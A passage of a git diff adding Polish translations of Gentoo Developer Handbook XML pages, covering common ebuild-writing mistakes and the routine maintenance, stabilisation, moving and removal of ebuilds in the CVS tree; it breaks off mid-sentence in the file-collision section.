+</author>
+<author title="Tłumaczenie">
+  <mail link="NobodyThere@Gmail.com">Jarosław Ogrodnik</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="stawrul@boo.pl">Waldemar Korłub</mail>
+</author>
+
+<abstract>
+Jest to Podręcznik dla Deweloperów Gentoo, stanowiący zbiór zasad rozwoju oraz
+określający systemy i procedury rozbudowy Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2</version>
+<date>2008-10-01</date>
+
+<part>
+<title>Wprowadzenie</title>
+<abstract>
+Ta część zawiera aspekty dotyczące większości sfer rozwoju Gentoo.  Sekcja ta
+ma jakiekolwiek znaczenie tylko dla deweloperów gentoo; w innym przypadku
+możemy ominąć ten dokument.
+</abstract>
+
+<chapter>
+<title>Przedstawienie</title>
+<abstract>
+Rozdział opisujący cel tego poradnika.
+</abstract>
+<include href="hb-introduction.xml"/>
+</chapter>
+<chapter>
+<title>Jak zostać deweloperem</title>
+<abstract>
+Dział ten wyjaśnia co należy uczynić, aby dołączyć do osób rozwijających
+Gentoo.
+</abstract>
+<include href="hb-introduction-becoming-a-dev.xml"/>
+</chapter>
+
+<chapter>
+<title>Co zyskamy</title>
+<abstract>
+Sekcja objaśnia do jakich usług dostęp uzyskują członkowie projektu.
+</abstract>
+<include href="hb-introduction-whatyouget.xml"/>
+</chapter>
+
+<chapter>
+<title>Wskazówki dla nowych deweloperów</title>
+<abstract>
+Dokument zawiera wskazówki dla nowych deweloperów.
+</abstract>
+<include href="hb-introduction-new-devs.xml"/>
+</chapter>
+
+<chapter>
+<title>Hierarchia deweloperów</title>
+<abstract>
+Rozdział przedstawiający hierarchię deweloperów oraz strukturę zarządzania
+rozwojem Gentoo.
+</abstract>
+<include href="hb-introduction-hierarchy.xml"/>
+</chapter>
+
+<chapter>
+<title>Zasadry rekrutacji personelu</title>
+<abstract>
+Rozdział opisujący procedury dołączania do oraz opuszczania projektów, których
+członkowie stanowią personel Gentoo.
+</abstract>
+<include href="hb-introduction-staffers.xml"/>
+</chapter>
+
+</part>
+<part>
+<title>Przewodniki</title>
+<abstract>
+Ten dział wyjaśnia różne procesy rozwoju oraz przedstawia standardy dla
+deweloperów Gentoo.
+</abstract>
+
+<chapter>
+<title>Ebuild HOWTO</title>
+<abstract>
+Ten rozdział opisuje system Portage w Gentoo, tworzenie nowych pakietów dla
+Gentoo, będąc jednocześnie standardem dla deweloperów.  Dział ten jest wciąż
+rozwijany i zmieniany.  W żadnym wypadku nie można go uznać za gotowy.  Zawsze
+konsultujemy ten poradnik z dostępnymi w Portage (szczególnie ebuild(5))
+stronami man oraz zasadami rozwoju Gentoo Linux.
+</abstract>
+<include href="hb-guide-ebuild.xml"/>
+</chapter>
+
+<chapter>
+<title>Eclass HOWTO</title>
+<abstract>
+Tutaj deweloperzy dowiedzą się jak funkcjonują eklasy i w jaki sposób dodaje
+się je do ebuildów.
+</abstract>
+<include href="hb-guide-eclass.xml"/>
+</chapter>
+
+<chapter>
+<title>Częste błędy w ebuildach</title>
+<abstract>
+W tym rozdziale omawiamy częste błędy pojawiające się w ebuildach oraz błędne
+założenia jakie się w nich pojawiają.
+</abstract>
+<include href="hb-guide-common-mistakes.xml"/>
+</chapter>
+
+<chapter>
+<title>Metadata Gentoo</title>
+<abstract>
+Ten rozdział tłumaczy użycie metadata.xml, stosowanego razem z drzewem Portage.
+</abstract>
+<include href="hb-guide-metadata.xml"/>
+</chapter>
+
+<chapter>
+<title>Zarządzanie Ebuildami HOWTO</title>
+<abstract>
+Tu opisujemy jak deweloperzy powinni przeprowadzać operacje zarządzając
+ebuildami znajdującymi się w drzewie Portage.
+</abstract>
+<include href="hb-guide-ebuild-maintaining.xml"/>
+</chapter>
+
+<chapter>
+<title>Podpisywanie Manifestu</title>
+<abstract>
+Tutaj dowiemy się w jaki sposób deweloper może podpisać Manifest w Portage przy
+użyciu klucza GPG.
+</abstract>
+<include href="hb-guide-manifest-signing.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Zasady</title>
+<abstract>
+Ta część przedstawia różne zasady, których wymaga się od deweloperów
+pracujących w repozytorium CVS.
+</abstract>
+
+<chapter>
+<title>Zasady pisania Ebuildów</title>
+<abstract>
+Rozdział przedstawiający zasady pisania ebuildów, które dotyczą każdego ebuildu
+znajdującego się w Portage.
+</abstract>
+<include href="hb-policy-ebuild.xml"/>
+</chapter>
+
+<chapter>
+<title>Etykieta zasad</title>
+<abstract>
+Ten rozdział zawiera etykietę jakiej powinni przestrzegać wszyscy deweloperzy
+Gentoo.
+</abstract>
+<include href="hb-policy-etiquette.xml"/>
+</chapter>
+</part>
+
+<!--
+<part>
+<title>Dodatek 1: Zarządzanie</title>
+<abstract>
+Ta część zawiera zasady zarządzania.
+</abstract>
+</part>
+-->
+
+</book>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-guide-common-mistakes.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-common-mistakes.xml
new file mode 100644
index 00000000..be71b54c
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-common-mistakes.xml
@@ -0,0 +1,420 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-guide-common-mistakes.xml,v 1.3 2006/09/07 11:50:26 rane Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Częste błędy podczas pisania ebuildów</title>
+<subsection>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Dokument przedstawia listę często popełnianych w ebuildach błędów. Należy
+upewnić się, że ebuildy jakie dodajemy nie zawierają żadnego z tych błędów.
+Przed rozpoczęciem dodawania ebuildów konieczne jest zapoznanie się z <uri
+link="?part=3&amp;chap=1">zasadami pisania ebuildów</uri> i z <uri
+link="?part=2&amp;chap=1">Ebuild HOWTO</uri>.  Ponadto należy przejrzeć kilka
+(więcej niż jeden lub dwa) ebuildy, aby poznać styl, w jakim są one pisane.
+</p>
+
+<p>
+Warto również zapoznać się z ebuildami, które wykorzystują eclass i przeczytać
+dokument <uri link="?part=2&amp;chap=2">Eclass HOWTO</uri>, aby zrozumieć
+sposób ich działania. Poza tym konieczne jest szczegółowe zapoznanie się z
+dokumentem opisującym <uri link="/doc/pl/ebuild-submit.xml">zasilanie zbioru
+ebuildów</uri>, przed dodaniem jakiegokolwiek ebuilda.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Brakujący/niepoprawny/popsuty nagłówek</title>
+<body>
+
+<p>
+Dodając ebuild, należy upewnić się, że nagłówek jest <e>dokładnie</e> taki, jak
+w pliku <path>/usr/portage/skel.ebuild</path>. Nie wolno modyfikować go w żaden
+sposób, a w szczególności linia <c>&#36;Header: &#36;</c> musi pozostać
+nietknięta.
+</p>
+
+<p>
+Pierwsze trzy linie <e>muszą</e> wyglądać jak poniżej:
+</p>
+
+<pre caption="Poprawny nagłówek">
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# &#36;Header: &#36;
+</pre>
+
+<p>
+Jeśli dodajemy łatkę lub nowszą wersję ebuilda, nie musimy modyfikować linii
+<c>&#36;Header: &#36;</c>. Wciąż jednak linia ta musi być obecna. Gdy dodajemy
+ebuild do repozytorium CVS, nagłówek zostanie automatycznie zmodyfikowany -
+pojawią się w nim odpowiednie informacje o wersji i dacie. Nie ma więc żadnego
+powodu, aby ręcznie zmieniać te dane.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Brak IUSE</title>
+<body>
+
+<p>
+Najczęściej brakującą zmienną w ebuildach jest IUSE. Musi ona zostać
+dołączona (zgodnie z dokumentem <uri link="?part=2&amp;chap=1">Ebuild
+HOWTO</uri>) nawet jeśli pakiet nie korzysta z żadnych flag USE. W takiej
+sytuacji wystarczy dodać poniższą linię:
+</p>
+
+<pre caption="Pusta zmienna IUSE">
+IUSE=""
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Redefiniowanie zmiennych P, PV, PN, PF</title>
+<body>
+
+<p>
+Nigdy nie należy redefiniować zmiennych P, PV, PN, PF. Zamiast tego zaleca się
+korzystanie ze zmiennych MY_P, MY_PN, MY_PV, P0, itd. Aby uzyskać więcej
+informacji na ten temat warto przejrzeć ebuildy w drzewie Portage, które używają
+tych zmiennych. Większość ebuildów wykorzystuje ekspansję zmiennych. Warto
+zapoznać się ze stronami man basha, aby zrozumieć jak ona przebiega.
+</p>
+
+<p>
+Jeśli spotkamy jakiś pakiet, który redefiniuje wyżej wspomniane zmienne, należy
+zgłosić raport o błędzie.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Dołączanie oznaczenia wersji w zmiennych SRC_URI i S</title>
+<body>
+
+<p>
+Zaleca się, aby unikać dodawania oznaczenia wersji w zmiennych SRC_URI i S.
+Zawsze należy korzystać ze zmiennej ${PV} lub ${P}. Dzięki temu utrzymywanie
+zbioru ebuildów jest znacznie łatwiejsze. Jeśli oznaczenie wersji nie jest stałe
+w obrębie tarballa/źródeł, powinniśmy użyć zmiennej MY_P. Przykładowo
+dev-python/pyopenal odwołuje się do tarballa o nazwie PyOpenAL, więc zmieniamy
+ebuild do postaci:
+</p>
+
+<pre caption="Przykładowa redefinicja oznaczenia wersji">
+MY_P=${P/pyopenal/PyOpenAL}
+SRC_URI="http://oomadness.tuxfamily.org/downloads/${MY_P}.tar.gz"
+S=${WORKDIR}/${MY_P}
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Błędy składniowe w DEPEND</title>
+<body>
+
+<p>
+Często występują błędy w sekcjach DEPEND i RDEPEND. Poniżej znajduje się kilka
+spraw, o których należy pamiętać w czasie uzupełniania zależności programu.
+</p>
+
+<ul>
+  <li>
+    <e>Zawsze należy dołączyć kategorię.</e><br />
+    Czyli np. wpisać <c>&gt;=x11-libs/gtk+-2</c> zamiast <c>&gt;=gtk+-2</c>.
+  </li>
+  <li>
+    <e>Nie należy umieszczać gwiazdki (*) w zależnościach oznaczonych znakiem
+    &gt;=.</e><br /> Przykładowo poprawna jest forma
+    <c>&gt;=x11-libs/gtk+-2</c>, a nie <c>&gt;=x11-libs/gtk+-2*</c>.
+  </li>
+  <li><e>Dla pakietów korzystających z GTK: konieczne jest stosowanie
+  =x11-libs/gtk+-1.2* dla programów zależnych od GTK+1.</e></li>
+  <li>
+    <e>Zależnością nigdy nie może być metapakiet.</e><br />
+    Nie można uzależnić programu od gnome-base/gnome, lecz od specyficznych
+    bibliotek - na przykład libgnome.
+  </li>
+  <li>
+    <e>Jedna zależność w linii.</e><br />
+    Nie zaleca się umieszczania wielu zależności w jednej linii. Jest to trudne
+    do czytania i obsługi.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>DEPEND jest niekompletne</title>
+<body>
+
+<p>
+Jest to kolejny bardzo częsty błąd. Osoba przesyłająca ebuild przekazuje nam
+coś, co "po prostu działa", bez sprawdzenia, czy zależności są prawidłowe.
+Poniżej znajduje się kilka porad jak prawidłowo określić zależności.
+</p>
+
+<ul>
+  <li>
+    <e>Sprawdźmy pliki configure.in lub configure.ac</e><br />
+    Sprawdźmy czy jest tam sprawdzana obecność innych pakietów. Szczególnie
+    poszukajmy testów pkg-config i funkcji AM_*, które sprawdzają obecność
+    określonej wersji jakiegoś programu.
+  </li>
+  <li>
+    <e>Sprawdźmy dołączone pliki .spec</e><br />
+    Dobrym sposobem na odnalezienie zależności jest przejrzenie dołączonych
+    plików .spec. Jednak trzeba pamiętać, że nie musi się w nich znajdować
+    kompletna lista zależności.
+  </li>
+  <li>
+    <e>Sprawdźmy stronę internetową programu/biblioteki</e><br />
+    Poszukajmy na stronie internetowej programu jakie zależności określają jego
+    twórcy.
+  </li>
+  <li>
+    <e>Przeczytajmy pliki README i INSTALL</e><br />
+    Zazwyczaj pliki te zawierają przydatne informacje o budowaniu i instalowaniu
+    pakietu.
+  </li>
+  <li>
+    <e>Pamiętajmy o niebinarnych zależnościach jak pkg-config, programy do
+    generowania dokumentacji, itp.</e><br />
+    Zazwyczaj w procesie budowania aplikacji potrzebne są pakiety takie jak
+    intltool, libtool, pkg-config, doxygen, scrollkeeper, gtk-doc, itp.
+    Upewnijmy się, że wymagania te zostały jasno określone.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Niepoprawne LICENSE</title>
+<body>
+
+<p>
+Innym częstym błędem w ebuildach użytkowników jest podawanie niepoprawnej
+licencji. Przykładowo <c>GPL</c> nie jest poprawną wartością. Konieczne jest
+sprecyzowanie czy chodzi o <c>GPL-1</c> czy <c>GPL-2</c>. Podobnie sprawa
+wygląda w przypadku <c>LGPL</c>. Należy upewnić się, że licencja umieszczona w
+<c>LICENSE</c> istnieje w katalogu <path>/usr/portage/licenses</path>. Licencję
+na jakiej rozpowszechniany jest program można odnaleźć w <path>COPYING</path> w
+tarballu z jego źródłami. Jeśli nie zostało sprecyzowane czy program korzysta z
+licencji <c>GPL-1</c> czy <c>GPL-2</c>, zazwyczaj używa <c>GPL-2</c>.
+</p>
+
+<p>
+Jeśli licencja na jakiej rozpowszechniany jest pakiet nie znajduje się w
+katalogu <path>/usr/portage/licenses/</path>, konieczne jest dodanie tam
+odpowiedniego pliku.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Nieprzetestowane architektury w KEYWORDS</title>
+<body>
+
+<p>
+Nie należy dodawać do KEYWORDS żadnych architektur, na których ebuild nie
+został przetestowany. Ponadto wszystkie nowe ebuildy powinny zostać oznaczone
+jako ~x86 lub adekwatnie do architektury - zawsze z uwzględnieniem, iż jest to
+wersja testowa. Podnosząc wersję programu, zawsze oznaczamy stabilne
+architektury znakiem <c>~</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Brakująca zmienna SLOT</title>
+<body>
+
+<p>
+Wymagana jest obecność zmiennej SLOT w ebuildzie. Nawet jeśli nie planujemy jej
+używać, nie usuwajmy jej. Przypiszmy jej wartość:
+</p>
+
+<pre caption="Domyślne ustawienie SLOT">
+SLOT="0"
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Niewłaściwe wartości zmiennych DESCRIPTION i HOMEPAGE</title>
+<body>
+
+<p>
+Należy zweryfikować poprawność zmiennej HOMEPAGE. Adres w niej zawarty musi
+prowadzić do właściwej strony, na wypadek gdyby użytkownicy chcieli uzyskać
+więcej informacji o programie. Trzeba również sprawdzić, czy opis w zmiennej
+DESCRIPTION nie jest zbyt długi. Dobry opis to taki, który przedstawia główne
+funkcje pakietu w jednym zdaniu.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Niewłaściwie użyte spacje zamiast znaków tabulacji</title>
+<body>
+
+<p>
+Poprawianie formatowania linii tylko dlatego, że użytkownik przysyłający ebuild
+nie postępował zgodnie ze wskazówkami dotyczącymi używania znaków tabulacji
+zamiast spacji, nie sprawia nikomu przyjemności. Używanie znaków tabulacji jest
+mocno zalecane.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Nadmiarowe białe znaki</title>
+<body>
+
+<p>
+Nadmiarowe białe znaki stanowią częsty problem. Pamiętajmy więc o użyciu
+programu repoman, który wskaże niepotrzebne białe znaki na końcach linii i w
+pustych liniach.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Nadmiarowe definicje S=${WORKDIR}/${P}</title>
+<body>
+
+<p>
+Jeśli <c>S=${WORKDIR}/${P}</c> jest prawidłowe dla danego ebuildu, nie należy
+powtarzać tej definicji - jest ona standardowo zaimplementowana. Dodawanie
+definicji zmiennej <c>S</c> jest zasadne tylko w sytuacji, gdy powinna ona
+wskazywać na miejsce inne niż <c>${WORKDIR}/${P}</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Brakująca dokumentacja</title>
+<body>
+
+<p>
+Jeśli pakiet zawiera dokumentację, należy ją zainstalować przy użyciu
+<c>dodoc</c> lub do katalogu <path>/usr/share/doc/${PF}</path>. Pamiętajmy przy
+tym, aby sprawdzić czy nie wystąpiły błędy w czasie użycia
+<c>dodoc</c>/<c>doins</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Częste błędy podczas dodawania ebuildów</title>
+<subsection>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Proces dodawania ebuildów należy przeprowadzać zgodnie z dokumentem <uri
+link="/doc/pl/ebuild-submit.xml">Zasilanie zbioru ebuildów</uri> znajdującym
+się w <uri link="/doc/pl/index.xml">dokumentacji Gentoo</uri>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Ebuild w postaci tarballa</title>
+<body>
+
+<p>
+Zdecydowanie nie zaleca się dodawania ebuildów w postaci tarballi. Łatki również
+należy dodawać oddzielnie, co pozwala na ich łatwe sprawdzenie.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Wstawianie zawartości ebuildów</title>
+<body>
+
+<p>
+Nie należy kopiować zawartości ebuildów do pola komentarza w bugzilli.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Brak opisu pakietu</title>
+<body>
+
+<p>
+Konieczne jest dołączenie opisu pakietu i uzupełnienie pola URL adresem strony
+domowej programu jeśli taka istnieje.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Aktualizacja pakietu bez aktualizacji pliku ChangeLog</title>
+<body>
+
+<p>
+Gdy dodajemy zaktualizowany pakiet, musimy określić jakie zmiany w nim
+wprowadziliśmy. Przykładowo, jeśli pakiet zawiera nowe funkcje i są z nimi
+związane flagi USE, należy napisać o tym w raporcie błędu, jaki tworzymy dodając
+ebuild.
+</p>
+
+<p>
+Znacznie bardziej roztropne jest dodanie pliku zawierającego różnice pomiędzy
+poprzednią i aktualną wersją ebuilda, niż dodanie całego ebuilda. Różnice można
+uzyskać w następujący sposób:
+</p>
+
+<pre caption="Generowanie różnic">
+$ <i>diff -u some-package-0.1.0.ebuild some-package-0.2.0.ebuild &gt; ~/some-package-0.2.0.diff</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Dodawanie niezmienionych ebuildów dla nowych wersji programów</title>
+<body>
+
+<p>
+Gdy dodajemy nową wersję programu do drzewa portage, upewnijmy się, że
+istniejący ebuild działa i że odpowiednie zmiany zostały zarejestrowane w jego
+nowej wersji (np. dodana dokumentacja). Jeśli nowa wersja programu nie wymaga
+zmian w ebuildzie, nie należy dodawać jego niezmienionej wersji. Wystarczy w
+raporcie błędu dodać informację, że starsza wersja ebuilda po przekopiowaniu
+działa poprawnie.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Komentarze i sugestie</title>
+<subsection>
+<body>
+
+<p>
+Komentarze, poprawki i sugestie powinny być przesyłane do <mail
+link="liquidx@gentoo.org">Alastaira Tse</mail>.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-guide-ebuild-maintaining.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-ebuild-maintaining.xml
new file mode 100644
index 00000000..35bead53
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-ebuild-maintaining.xml
@@ -0,0 +1,304 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-guide-ebuild-maintaining.xml,v 1.8 2008/07/25 14:10:57 shadow Exp $ -->
+
+<sections>
+<version>1.0.5</version>
+<date>2008-06-01</date>
+
+<section>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Przewodnik wyjaśnia codzienne działania związane z utrzymywaniem ebuildów, a
+także inne, rzadziej wykonywane czynności, z którymi niektórzy deweloperzy być
+może jeszcze się nie zapoznali.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dodawanie nowych ebuildów</title>
+<body>
+
+<p>
+Dodając nowy ebuild, należy uwzględnić wartość <c>KEYWORDS</c> wyłącznie dla
+architektury, na której go testowaliśmy. Poprzez dodanie nowego ebuilda
+potwierdzamy poprawność jego działania, a także fakt prawidłowej obsługi flag
+<c>USE</c> w pakietach generowanych do instalacji. Jeśli to możliwe, warto dodać
+również bieżące (i kompletne) biblioteki lub aplikacje testowe, gdyż deweloper
+dodający nowy ebuild staje się odpowiedzialny za błędy jakie mogą w nim wystąpić
+na danej architekturze. Zawsze należy dołączyć przynajmniej minimalne testy
+obejmujące sprawdzenie czy aplikacja uruchomi się bez błędów po zainstalowaniu.
+</p>
+
+<p>
+Jeśli dodajemy ebuilda nadesłanego przez użytkownika, nie możemy zakładać, że
+został on przetestowany na różnych architekturach. Często wartości
+<c>KEYWORDS</c> są kopiowane pomiędzy pakietami lub generowane na podstawie
+dokumentacji pakietów źródłowych, co nie oznacza, że dane pakiety faktycznie
+działają na architekturach, jakie im przypisano.
+</p>
+
+</body>
+</section>
+<section>
+<title>Stabilizacja ebuildów</title>
+<body>
+
+<p>
+Tylko osoby utrzymujące daną architekturę mogą oznaczać pakiety dla niej jako
+stabilne. Konieczne jest, aby skontaktować się z osobami utrzymującymi pakiet
+przed dokonaniem takiego oznaczenia, na wypadek gdyby istniały jakieś powody,
+dla których nie powinno się tego robić. Wyjątkiem jest sytuacja, gdy jesteśmy
+członkiem zespołu danej architektury. W takim przypadku możemy oznaczyć pakiet
+jako stabilny na tej architekturze. W przypadku gdy nie jesteśmy członkiem
+zespołu należy postępować zgodnie ze wskazówkami poniżej. Jeśli brakuje
+informacji na temat architektury jaka nas interesuje, należy skontaktować
+się z odpowiednimi zespołami.
+</p>
+
+<p>
+Nie należy <e>nigdy</e> stabilizować pakietów dla architektur, na których nie
+możemy ich przetestować. Należy skontaktować się z zespołem danej architektury
+(na przykład <mail link="sparc@gentoo.org">sparc@gentoo.org</mail>) i poprosić o
+przeprowadzenie stabilizacji ebuilda. Można też poszukać deweloperów
+interesującej nas architektury na kanałach IRC i poprosić ich o pomoc.
+</p>
+
+<p>
+Lepiej, zamiast pisać na adres <mail
+link="arch-maintainers@gentoo.org">arch-maintainers@gentoo.org</mail>, dodać
+adresy zespołów architektur do listy CC. W ten sposób zespoły będą mogły usunąć
+się z listy, gdy zakończą pracę, co daje jasny pogląd na temat tego, na jakich
+architekturach pakiet nie został jeszcze ustabilizowany.
+</p>
+
+</body>
+</section>
+<section>
+<title>Reguły stabilizacji ebuildów</title>
+<body>
+
+<p>
+Architektura SPARC: potrzebne jest wcześniejsze pozwolenie od lidera zespołu
+tej architektury (aktualnie jest nim Weeve). Zazwyczaj wymagany jest dostęp do
+komputera o architekturze SPARC, jednak możliwe są inne ustalenia, jeśli
+pracujemy na małej grupie pakietów.
+</p>
+
+<p>
+Architektura ALPHA: osoby utrzymujące pakiety mogą stabilizować swoje własne
+ebuildy, jednak muszą informować przy tym zespół architektury Alpha, aby jego
+członkowie mogli również testować ebuildy i wyłapywać ewentualne błędu.
+</p>
+
+<p>
+Architektura MIPS: konieczne jest wcześniejsze pozwolenie od dowolnego z
+głównych deweloperów MIPS. Ze względu na duży wpływ sprzętu na tej architekturze
+wymagany jest dostęp do wielu systemów MIPS.
+</p>
+
+</body>
+</section>
+<section>
+<title>Aktualizacja ebuildów</title>
+<body>
+
+<p>
+Nowe ebuildy niezwykle rzadko powinny pojawiać się ze słowem kluczowym
+"<c>arch</c>". Każdy pakiet <e>musi</e> zostać przetestowany na wszystkich
+architekturach występujących w zmiennej <c>KEYWORDS</c> ebuilda.
+</p>
+
+<p>
+Wyjątkiem od powyższej zasady są poprawki błędów lub luk bezpieczeństwa. Jeśli
+starsza wersja ebuilda zawiera w zmiennej <c>KEYWORDS</c> architektury, dla
+których nie możemy jej przetestować, konieczne jest dokonanie jej deprecjacji
+poprzez zmianę wszystkich "<c>arch</c>" na "<c>~arch</c>". Jeśli nie mamy
+pewności czy pakiet w ogóle będzie działał na jakiejś architekturze, lepiej nie
+umieszczać jej w <c>KEYWORDS</c> i poprosić odpowiedni zespół deweloperów o
+przeprowadzenie testów.
+</p>
+
+<p>
+W przypadku gdy nowa wersja zawiera zależności niedostępne na pewnych
+architekturach, należy wypełnić raport o błędzie lub skontaktować się z
+deweloperami poprzez kanały IRC przed aktualizacją pakietu. Jeśli konieczne
+jest szybkie dodanie ebuilda, na przykład dla usunięcia luk bezpieczeństwa,
+należy pominąć wszystkie architektury, które sprawiają problemy. Zespoły
+pominiętych architektur informujemy następnie raportując odpowiedni błąd.
+</p>
+
+<p>
+Jeśli nie występują nowe zależności, nie należy usuwać słów kluczowych w
+sytuacji, gdy commit przy użyciu programu repoman się nie powiedzie. Wykonujemy
+wtedy pełną aktualizację <c>cvs update</c>, a jeśli wciąż występują problemy,
+przeprowadzamy commit używając <c>repoman -I</c> i raportujemy błąd do zespołu
+odpowiedniej architektury, zaznaczając to w informacji dołączonej do
+aktualizowanego pakietu w CVS.
+</p>
+
+<warn>
+W czasie wykonywania commitu należy upewnić się, że informujemy o wszystkich
+błędach zarówno w logach zmian jak i w komunikatach CVS. Pomijanie tego jest
+złe i będziemy wyciągać konsekwencje gdy deweloperzy to pominą.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Przenoszenie ebuildów</title>
+<body>
+
+<p>
+Przenoszenie ebuildów jest procesem przebiegającym dwuetapowo:
+</p>
+
+<p>
+Po pierwsze, musimy przenieść ebuild do lokalnej kopii repozytorium CVS. Robimy
+to kopiując go do nowej lokalizacji i wykonując commit jak w przypadku <uri
+link="?part=2&amp;chap=5#doc_chap2">nowego ebuilda</uri>.
+</p>
+
+<p>
+Następnie konieczna jest modyfikacja wszystkich ebuildów, dla których
+zależnością (<c>DEPEND</c>) jest stary ebuild, tak aby zależały one od nowego
+ebuildu. Następnie należy dodać wpis do katalogu <path>profiles/updates/</path>
+w drzewie Portage o następującym formacie:
+</p>
+
+<pre caption="Dodawanie wpisu do katalogu updates">
+move net-misc/fwbuilder net-firewall/fwbuilder
+</pre>
+
+<p>
+W przykładzie tym przeniesiono przeźroczyście <path>net-misc/fwbuilder</path>
+do <path>net-firewall/fwbuilder</path> w przypadku gdyby użytkownicy mieli
+zainstalowany ten pakiety. W ten sposób użytkownicy w sposób automatyczny będą
+otrzymywali aktualizacjie dla pakietu <path>net-firewall/fwbuilder</path> gdy
+będą one dostepne. W tym celu należy wydać polecenie <c>cvs remove -Rf $PN</c>
+w katalogu pakietu a następnie zapisać zmiany w repozytorium.
+</p>
+
+<pre caption="Usuwanie pakietu">
+net-misc # cvs rm -Rf fwbuilder
+cvs remove: use `cvs commit' to remove these files permanently
+net-misc # cvs ci -m "Moving net-misc/fwbuilder to net-firewall/fwbuilder."
+</pre>
+
+<note>
+CVS nie może usuwać katalogów - po prostu nie będą one odtwarzane, gdy są
+puste i używamy flagi <c>-P</c>.
+</note>
+
+</body>
+</section>
+<section>
+<title>Usuwanie ebuildów</title>
+<body>
+
+<p>
+Usuwając ebuilda, należy upewnić się, że żadne zależności w drzewie Portage nie
+zostaną złamane. Dodatkowo komunikat w CVS powinien jasno wyjaśniać dlaczego
+ebuild został usunięty.
+</p>
+
+<p>
+Przed usunięciem pakietu konieczne jest upewnienie się, że przypadkowo nie
+usuwamy najnowszej lub jedynej stabilnej wersji ebuildu. Jeśli zależy nam na
+oznaczeniu nowszej wersji jako stabilnej, powinniśmy wypełnić raport o błędzie
+lub skontaktować się z odpowiednimi deweloperami na kanałach IRC.
+</p>
+
+<p>
+Nie należy powodować żadnych niekoniecznych aktualizacji do starszych wersji dla
+pakietów ze słowem kluczowym "<c>~arch</c>". Lepiej postarać się najpierw o
+oznaczenie najnowszej wersji jako "<c>~arch</c>", a potem usuwać zbędne ebuildy.
+</p>
+
+</body>
+</section>
+<section>
+<title>Removing a package</title>
+<body>
+
+<p>
+Usuwając ebuilda należy się upewnić, że nie stanowi on zależności żadnego innego
+pakietu. Dodatkowo wiadomość dodana w czasie zatwierdzania usunięcia z
+repozytorium CVS powinna jasno uzasadniać, dlaczego ebuild został usunięty.
+</p>
+
+<p>
+Aby całkowicie usunąć pakiet z repozytorium CVS, należy usunąć wszystkie pliki z
+odpowiadającego mu katalogu w lokalnej kopii repozytorium na naszym komputerze,
+a następnie zatwierdzić zmiany. Repozytorium CVS samodzielnie zajmie się
+usunięciem pustych katalogów.
+</p>
+
+<pre caption="Usuwanie pakietu z repozytorium CVS">
+# <i>cd app-admin</i>
+# <i>cvs rm -Rf scotty</i>
+# <i>cvs ci -m "app-admin/scotty removal (pending 21st July 2006), see #77501 for reference." scotty</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Konflikt plików</title>
+<body>
+
+<p>
+Może zdarzyć się sytuacja, kiedy dany pakiet będzie chciał nadpisać pliki
+należące do innego pakietu (co można wykryć dzięki zmiennej
+<c>FEATURES=collision-protect</c>). Należy to naprawić zanim ebuild zostanie
+dodany do drzewa Portage, a jeśli w nim już się znalazł natychmiast należy to
+zgłosić na Bugzilli (po sprawdzeniu poniższej listy wyjątków). Sytuacja jest
+poważna, ponieważ jeśli jakiś plik należy do pakietu A, później zostaje
+nadpisany przy instalacji pakietu B, to po odinstalowaniu pakietu B plik
+zniknie psując przy okazji pakiet A.
+</p>
+
+<p>
+Najprostszym rozwiązaniem tego problemu jest ustawienie obu pakietów tak, aby
